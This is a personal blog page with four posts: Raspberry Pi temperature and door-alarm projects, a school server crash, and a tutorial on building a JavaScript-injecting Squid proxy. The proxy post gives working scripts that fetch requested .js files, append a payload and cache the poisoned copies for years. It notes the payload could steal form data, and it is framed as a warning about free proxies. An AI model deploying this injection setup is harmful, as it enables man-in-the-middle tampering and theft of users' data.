Sunday, July 28, 2013

Raspberry Pi temperature monitor and graph with live updates

After my Raspberry Pi powered door alarm I thought about implementing a temperature monitoring system with the Raspberry. I just found out about 1wire support on the Raspberry Pi a few weeks ago and wanted to try it myself.

After you've finished this tutorial you'll have a cheap temperature monitoring Raspberry pi with a nice zoomable, live updating web UI with as many sensors as you wish and even from remote networks like this (german):


You'll need these hardware components (if you make it like I did):

1. A Raspberry Pi (duh)
I use a standard raspbian and with just 3 commands you're ready for reading 1wire sensors (more on that later)

2. Temperature sensor
I bought a 1 wire temperature sensor for about 5€. Although 1 wire is not really true. It has 3 wires but the data uses just one wire.
I bought this one (sheet in german) which has a DS18S20 sensor inside.










3. One 4.7k Ohm resistor

We'll be needing this to keep our raspberry GPIO ports from frying










4. One screw terminal with 3 pins

I'm using this because it's the easiest way to re-use cables and sensors because they don't have to be soldered.











Let's build it!

This will actually be the shortest part. Since I'm using the screw terminal all we'll need to do is solder (or connect somehow) the resistor between the left and center terminal like this:


The second and last part of the building process is to connect the raspberry and the sensor to the terminal.

(GPIO Pin numbers acording to this graph, "=>" means connect to)
GPIO 1 => +3.3V on the Terminal
GPIO 6 => GND on the Terminal
GPIO 7 => DATA on the Terminal

+ Wire of the sensor => +3.3V on the Terminal
- Wire of the sensor => GND on the Terminal
DATA wire of the sensor => DATA on the Terminal

The hardware is now ready!

Now let's log into our Raspberry Pi!

First we'll have to tell the kernel that we'll be using the 1 wire communication. We do this by editing (as root) /etc/modules and adding the following lines:


wire
w1_gpio
w1_therm

After a restart we check if the sensor was found

ls /sys/bus/w1/devices

You should see something like this:

If you only see the w1_bus_master1 folder that means your sensor was not recognised by the system. Check your wires and if you connected the + and - cables correctly.

If you see another folder (in my case it's 10-00080224e359) you're ready to get data from your sensor!
Every sensor has a different ID so yours will be different from mine! Keep that in mind when you copy the commands!

Next lets see if it's really working by reading the w1_slave file inside your sensors directory:
cat /sys/bus/w1/devices/10-00080224e359/w1_slave




The temperature is right in this file at t=28750 which means 28.750°C (damn you, heatwave)

Congratulations! You can now log your temperature inside or outside (or even in water if your sensor is water proof)


But I didn't stop there

I wanted to create a website which displays all the info and logs the sensor as well as the CPU temperature.
But I didn't want to rely on the raspberry as a webserver rather than just a node that sends it's info to another server like this:


This way I could still see historic data without killing the Raspberry's SD card slowly.

This is the script (it's written in PHP ran in php5_cli.. don't judge me I'm a web developer :D) that runs on the Raspberry, checks the CPU and sensor temperature every 60 seconds and then sends it to a server script (more on that later)

Script: read_sensors.php
You might want to change two things: The device ID of your temperature sensor and the IP and folder of your Webserver
<?php
$webserver_ip_and_port = 'http://192.168.1.115/temperatur/';
$device_id = '10-00080224e359';
$cputemp = "/sys/class/thermal/thermal_zone0/temp";
$wiretemp = "/sys/bus/w1/devices/'.$device_id.'/w1_slave";

$data = array();

while(1)
{
  $data = file($wiretemp);
  $data = explode('t=',$data[1]);
  $wtemp = $data[1]/1000;
  $ctemp = implode(file($cputemp))/1000;

  $tdata = array('CPU'=>$ctemp,'room'=>$wtemp);
  echo "CPU: $ctemp\nRoommtemp: $wtemp\n";

  $null = file($webserver_ip_and_port."get.php?data=".rawurlencode(json_encode($tdata)));
  sleep(60);
}

This script should be executed with the command "php read_sensors.php". You'll need to have the package php5_cli installed.

Good so our raspberry can read the temperature and sends it to another server.

The server setup is pretty straight forward since you only have to push the webserver folder from this repository I made on your webspace and you're finished! The code I wrote features a backend API where the script looks every minute for changes and if your monitoring computer is disconnected for a few minutes and then reconnects it will update all the data that you've missed because of the disconnect.

Please let me know what you think and if you have any questions I'll be happy to answer them :D

Wednesday, May 29, 2013

Why free proxies are free - The JS infection conspiracy

I recently stumbled across a presentation of Chema Alonso from the Defcon 20 Conference where he was talking about how he created a Javascript botnet from scratch and how he used it to find scammers and hackers.

Everything is done via a stock SQUID proxy with small config changes.

The idea is pretty simple:

  1. [Server] Install Squid on a linux server
  2. [Payload] Modify the server so all transmitted javascript files will get one extra piece of code that does things like send all data entered in forms to your server
  3. [Cache] Set the caching time of the modified .js files as high as possible

In the presentation Chema said he posted the IP of the modified server on the web and after a few days there were over 5000 people using his proxy.
Most people used it for bad things because everyone knows you're only anonymous in the web when you've got a proxy and it looks like many people don't think that the proxy could do something bad to them.

I wondered if it really is that simple so I took a VM running Debian and tried implementing the concept myself.

Make your own js infecting proxy

I assume that you have a squid proxy running and also you'll need a webserver like Apache using /var/www as web root directory (which is the default)

1. Creating the payload

For the payload I'll use a simple script that takes all links of a webpage and rewrites the href (link) attribute to my site.

/etc/squid/payload.js
for(var i=0;i<document.getElementsByTagName('a').length;i++)
    document.getElementsByTagName('a')[i].href = "http://blog.chr1s.at";


2. Creating the script that poisons the originally requested js file

/etc/squid/poison.pl
#!/usr/bin/perl

$|=1;
$count = 0;
$pid = $$;

while(<>)
{
  chomp $_;
  if($_ =- /(.*\.js)/i)
  {
        $url = $1;
        system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
        system("chmod o+r /var/www/tmp/$pid-$count.js");
        system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");
        print "http://127.0.0.1:80/tmp/$pid-$count.js\n";
  }
  else
  {
        print "$_\n";
  }
$count++;
}

This script uses wget to retrieve the original javascript file of the page the client asked for and adds the code from the /etc/squid/payload.js file to it. This modified file (which contains our payload now) will be sent to the client.

You'll also have to create the folder /var/www/tmp and allow squid to write files in it. This folder is where all modified js scripts will be stored.

3. Adding the perl script to the Squid config

in /etc/squid/squid.conf add
url_rewrite_program /etc/squid/poison.pl

This basically tells squid to pass all requested file names to the poison.pl script so it can look for js files.

4. Changing cache duration of all cached js files

/var/www/tmp/.htaccess
ExpiresActive On
ExpiresDefault "access plus 3000 days"

These lines tell the apache server to give it an insanely long expiration(caching) time so it will be in the browser of the user until they're cleaning their cookies/caches


That's it!

One more restart of squid and you're good to go. If you're connecting to the proxy and try to surf on any webpage, the page will be displayed as expected but all links will lead to this blog.

The sneaky thing about this technique is that even when somebody disconnects from the proxy the cached js files will most likely be still in their caches.

In my example the payload does nothing too destructive and the user will know pretty fast that something is fishy but with creative payloads all sorts of things could be implemented.

Tell your friends never to use free proxies because many hosts do things like that.

Be safe on the web (but not with free proxies)

Tuesday, February 26, 2013

My door sends me emails - Simple and cheap Raspberry Pi burglar alarm

The thing I like most about the Raspberry Pi are the GPIO pins. They allow you to break the limits of software and access hardware. I've always been a software guy but also wanted to control some kind of hardware from the software.

So for my first software<->hardware project I wanted to build a primitive burglar alarm that notifies me whenever the door is opened.

So you'll need these things:
  • Raspberry Pi
  • A reed relay (magnet switch)
  • Some old IDE cable
  • 1 x 10kΩ resistor
If you already have a Raspberry Pi, this project will cost you about 10€

Step 1: The circuit

Here's the diagram:

This is a very simple circuit that even I could build :D

This is what my first self-soldered circuit looks like:
note that I used the IDE cable to connect the GPIO pins to the board. This info graphic helped me a lot!

Raspberry connected to the circuit via IDE cable
Note: You see more than one resistor in the picture above
because this was my first version which had two. I managed
to make the circuit even simpler thanks to George Toderici

It's not pretty but it does its job!

Step 2: The reed switch

The reed switch is the main part of this project because it switches electricity only when a magnet is close to the head. So if the door closes the switch will lose the connection and the raspberry will notice a change from 1 to 0

For testing purposes I just fixed the reed switch and the magnets under it on the door with tape as you can see in the picture below.
The two wires of the switch are of course connected to the circuit (the cables on the left in the picture above)

Reed switch with a magnet under it hold in place
professionally by some tape

Step 3: The software

We're just a few lines of code away from completing this project!
For coding I use nodeJS because I like how it works and as a web developer I'm comfortable with JavaScript. Also the package manager (npm) is a real plus for node!

In this example I let the raspberry inform me via email when the door status changes but you can do all kinds of stuff with that like play a sound, post it on twitter (probably not the best idea)

You'll need two packages from npm. Install them with these commands:

  • (if you don't have nodejs installed and are using raspian) apt-get install nodejs npm
  • npm install emailjs
  • npm install rpi-gpio

This is the code:
You'll have to change the following things:

  • If you're using a different pin than I in my circuit diagram, change the doorpin value
  • Change your email credentials (user, password, host if you're not using gmail)
  • Change the "from:" and "to:" addresses in the readInput function

var gpio = require('rpi-gpio');
var email   = require("emailjs/email");
var doorpin = 7; //the GPIO port you connected to the cicruit
var server  = email.server.connect({
                user:    "your.username",
                password:"YourPassword",
                host:    "smtp.gmail.com",
                ssl: true});
var laststate = 1;

gpio.setup(doorpin, gpio.DIR_IN,readInput);

function readInput()
{
    gpio.read(doorpin, function(err, value){
        if(laststate!=value)
        {
                console.log(translateStatus(value));
                server.send({ //sending email
                   text:    translateStatus(value),
                   from:    "Door <youremail@gmail.com>",
                   to:      "somebody <youremail@gmail.com>",
                   subject: translateStatus(value)
                }, function(err, message) { console.log(err || message); });
        }
        laststate = value;
    });

  setTimeout(readInput,1000); //recheck door every second
}

function translateStatus(s){
  if(s==0) return 'The door is now open! '+getTime();
  else return 'The door is now closed! '+getTime();
}

function getTime(){
        var h = new Date().getHours();
        var m = new Date().getMinutes();
        var s = new Date().getSeconds();
        if(h <10) h = '0'+h;
        if(m <10) m = '0'+m;
        if(s <10) s = '0'+s;
        return h+':'+m+':'+s;
}

To run the code you'll have to save it in something like dooralert.js and then run it via the following command:
nodejs dooralert.js
If everything works and you open, then close your door you should get a mail like this:

Where to go from here

The next thing I want to do with this is connect a webcam to the raspberry via USB and then take a picture every time the door is opened. This will not be so difficult but I'll need to figure out where to put the cam :D

Thursday, February 21, 2013

Fibonacci crash - Don't let students code on a virtual Remote Desktop Server

Some  time ago I set up a virtual Server 2008 R2 on the physical Server 2008 R2 so I can test the Remote Desktop Services.

RDS would make my life as a sysadmin a lot easier because I wouldn't need the deployment server anymore and just install and maintain software on one machine but since some things like watching videos isn't as smooth and easy I didn't change the current system configuration but let the virtual RDS running. I gave the virtual Server just 4 cores of the Server and a dynamic amount of RAM (at least 2GB though).

I wanted to code in nodeJS with my students today via RDS and everything went great!

Well.. until I told them to solve the Project Euler Problem #2 which is about finding the sum of all even numbered fibonacci numbers below 4 million. Most of them just coded it straight forward like this

var lastfibo=1;
var sum=0;
for(var i=2;i<10000;i++)
{
   var fibo = i+lastfibo;
   if(fibo%2==0)
     sum+=fibo;
   lastfibo = fibo;
}

This of course led to massive CPU consumption so the RDP was pretty much dead.
Whats interesting is that this also affected the host system which is also the domain controller so nothing responded, nobody could save anything and because of roaming profiles many local applications died with the server.

When I realized that this was probably not such a good idea a teacher came in asking us if our computers also froze.

Because of my brilliant idea to work with my students on the testserver I set up the whole schoolnetwork was down and the main server didn't respond at all so I had to pull the plug.

Lesson learned: don't let students code on a virtual machine that is hosted on the domain controller :)